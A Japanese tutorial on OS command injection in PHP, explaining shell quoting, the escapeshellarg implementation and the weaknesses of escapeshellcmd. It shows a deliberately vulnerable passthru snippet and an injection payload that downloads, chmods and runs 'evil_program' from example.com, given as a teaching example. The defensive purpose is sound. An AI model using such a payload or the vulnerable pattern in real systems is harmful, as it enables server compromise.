プログラムからOSコマンドを実行する場合、エスケープ処理を行わないと任意コマンドが実行される危険性があります。
今回はOSコマンドのエスケープについてです。
OSコマンドインジェクション
OSコマンドインジェクションはプログラムから実行するコマンドに、攻撃用文字列を挿入(インジェクション)して意図しないコマンドを実行させる攻撃です。
例えば、次のようなLinuxシステムのディレクトリの内容を表示させるプログラム
<?php passthru('ls -l '.$_GET['dir']);
(任意のディレクトリ内容を表示できる脆弱性はここでは考慮しない)
に不正なコマンドを実行させるのはとても簡単です。$_GET[‘dir’]に
. ; cd /tmp; wget http://example.com/evil_program; chmod 755 /tmp/evil_program; /tmp/evil_program
と設定すればwgetコマンドを実行し不正なevil_programをダウンロードし、chmodコマンドで実行権限を設定し、evil_programを実行できます。
evil_programがカーネルの権限昇格脆弱性を攻撃するプログラムであれば、サーバーを完全に乗っ取られる可能性があります。
OSコマンドを実行する場合の注意点
OSコマンドはOSが提供するシェルで実行されます。シェルはテキストインターフェースを持ち、テキストでコマンドとオプションを受け取り実行します。例示した脆弱なPHPプログラムの場合、ユーザーからの入力に対しセキュリティ処理を一切してないため、簡単にサーバーを乗っ取られる可能性があります。
OSコマンドを実行する場合、3つの部分に分けて考える必要があります。
- コマンド名
- オプション名
- オプション値
コマンド名をエスケープ処理で安全にする事はできません。コマンドがパラメーターである場合、実行されるコマンドが安全であるかバリデーションするしかありません。バリデーションはホワイトリスト型で行います。通常、コマンド名はハードコードするべきです。ユーザーにコマンド名を指定させる場合、非常に厳格なホワイトリスト型のチェックを行います。
コマンドとコマンドオプションとの区別はシェルで行われます。コマンドオプションはコマンドに引数として渡される為、コマンドとして実行されません。
コマンド引数(オプション名、オプション値)がどのように処理されるかは、コマンドの実装に依存します。コマンドがシェルスクリプトなどで、コマンド引数を利用して更に別のコマンドを実行している場合、最初のプログラムから引数として安全に渡してもコマンド実行が可能となる場合もあります。
コマンドオプションがオプション名+オプション値なのか、単独でオプション値なのかはコマンドの引数処理に依存します。コマンドオプション名はコマンドと同じく、基本的にはハードコードされた名前である場合が多いと思います。オプション名がシェルの文字リテラルである事は稀です。ユーザーがオプション名を指定できる場合、ホワイトリスト型でバリデーションします。
コマンドのオプション値はエスケープできる場合とエスケープできない場合の2種類に分かれます。
- 文字リテラルの場合
- それ以外
文字リテラルの場合はエスケープ処理で安全にする事が可能です。(ただし、パラメーターを受け取ったコマンドが安全に処理している場合のみ)文字リテラル以外の場合、例えば数値しか受け付けない場合はバリデーションしなければなりません。コマンド名と同じくホワイトリスト型でバリデーションします。
コマンドオプションのエスケープ
コマンドはシステム(OS)のシェルで実行されるため、シェルが異なるとエスケープすべき文字が異なります。例えば、Windowsのcmd.exeとLinuxのbashでは違う種類の処理が必要になります。解説を簡易化する為、ここではLinuxのbashの場合のみを考慮します。
シェルもプログラミング言語であるため、様々な命令が用意されています。文字列をコマンドオプションにそのまま出力して不正な処理を禁止する事は非常に困難です。このため、オプションはシェルの文字リテラルとして出力する方が安全です。
例示した脆弱なディレクトリ表示プログラムを安全にするには ‘ (シングルクォート)を利用してコマンドオプションをシェルの文字リテラルとして渡します。
GNU bash, バージョン 4.2.45(1)-release (x86_64-redhat-linux-gnu)
シングルクォートで文字を囲むと、 クォート内部のそれぞれの文字は文字としての値を保持します。シングルクォートの間にシングルクォートを置くことはできません。これはバックスラッシュを前に付けても同じです。
多少分かりづらい記述ですが、要するに ‘ (シングルクォート)で囲めば、シェルが変数展開などを行わない、と書いてあります。
. ; cd /tmp; wget http://example.com/evil_program; chmod 755 /tmp/evil_program; /tmp/evil_program
は
'. ; cd /tmp; wget http://example.com/evil_program; chmod 755 /tmp/evil_program; /tmp/evil_program'
とシングルクォートで囲むだけで不正プログラムを実行できなくなります。
マニュアルページには
クォート (quoting) を使うと、 特定の文字や単語が持つシェルに対する特別な意味をなくせます。クォートを用いると、特殊文字の特殊な扱いを無効にしたり、予約語が予約語として識別されることを防いだり、 パラメータの展開を防いだりできます。
と記述されています。後は攻撃用のテキストがシングルクォートで囲まれた文字列を不正に抜け出ないようにするだけです。「シングルクォートの間にシングルクォートを置くことはできません。これはバックスラッシュを前に付けても同じ」という仕様であるため、シングルクォートで囲った文字リテラルにシングルクォートを含めることができません。
このため、
- 文字列中に ‘(シングルクォート)が現れた場合、’\”
に変換します。
escapeshellarg関数の実装
escapeshellarg関数はシェルへのオプション値を文字列としてクオートし、安全に利用できる形に変換します。
Windowsで必要となるエスケープの解説は省略します。WindowsとLinuxでは別の手法を採用する必要があるため、異なった実装になっています。
- Linuxではシングルクォートで囲み、 ‘(シングルクォート) を’\”に変換して無効化
- Windowsではダブルクオートで囲み、危険な文字( ” と %)をスペースにして削除
この動作の切り替えはコンパイル時に自動的に設定されます。
実装(ext/standard/exec.c)では以下のようになっています。
Linuxの場合
case '\'': cmd[y++] = '\''; cmd[y++] = '\\'; cmd[y++] = '\'';
Windowsの場合
#ifdef PHP_WIN32 case '"': case '%': cmd[y++] = ' '; break;
PHP文字列のエスケープの解説で紹介したaddslashes関数はマルチバイト文字文字を完全に無視した実装でしたが、escapeshellarg関数はロケール依存のmblen/mbrlen関数を利用してマルチバイト文字対応しています。
一応、ロケールがShift_JISの場合はShift_JISエンコーディングを考慮した処理が行われます。 ロケールに依存しているので、mbstring.internal_encodingなどは無視されます。仕様的には問題があるので将来は改善する修正が入るようにしたいと考えています。
escapeshellcmd関数
escapeshellarg関数と似た関数にescapeshellcmd関数があります。escapeshellcmd関数はシェルのメタ文字(意味を持つ文字)をエスケープします。多くのメタ文字をエスケープ処理しますが、ユーザー入力をescapeshellcmd関数で処理した文字列は安全であるとは言えません。
#&;`|*?~<>^()[]{}$\, \x0A and \xFF
をエスケープ処理し、’ または ” はペアになっていない場合にのみエスケープ処理します。
Windowsの場合、これらの処理に加えて % がスペースに変換されます。
escapeshellcmd関数で処理した文字列をコマンドに渡した場合、攻撃者は簡単にエスケープ処理を回避し、OSコマンドインジェクションを行えます。プログラマがハードコードした文字列(または厳格なバリデーションで安全性を確認した文字列)をエスケープしたい場合にのみ利用できます。
OSコマンド実行が可能な関数
OSコマンド実行が可能な関数はコマンド実行関数のみではありません。パイプ処理関数もコマンドを実行します。
- exec — Execute an external program
- passthru — Execute an external program and display raw output
- shell_exec — Execute command via shell and return the complete output as a string
- system — Execute an external program and display the output
- pcntl_exec — Executes specified program in current process space
- pcntl_fork — Forks the currently running process
- proc_open — Execute a command and open file pointers for input/output
- popen — Opens process file pointer
この他に (バッククォート)で囲んだ文字列もOSコマンドとして実行されます。
<?php echo `ls -la`; ?>
まとめ
OSコマンドインジェクションは致命的な脆弱性ですが、OSコマンドのエスケープは簡単ではありません。まだ全てを解説しきれていません。しかし、引数(オプション値)をエスケープする場合、escapeshellarg関数を利用していれば安全です。(Shift_JISを利用している方はロケールに注意してください)
OSコマンドのセキュリティで覚えておくべき事
- エスケープ処理はコマンドを実行するシェルに依存する
- 引数処理はコマンドの実装に依存する
- 最初に呼び出すコマンドに安全に引数を渡しても、コマンドの実装次第でOSコマンドインジェクションが可能になる
続きは別エントリで解説します。
参考:何故よくあるコマンドインジェクション対策がダメなのか
コマンド実行時、コマンドと引数を分離すれば完璧?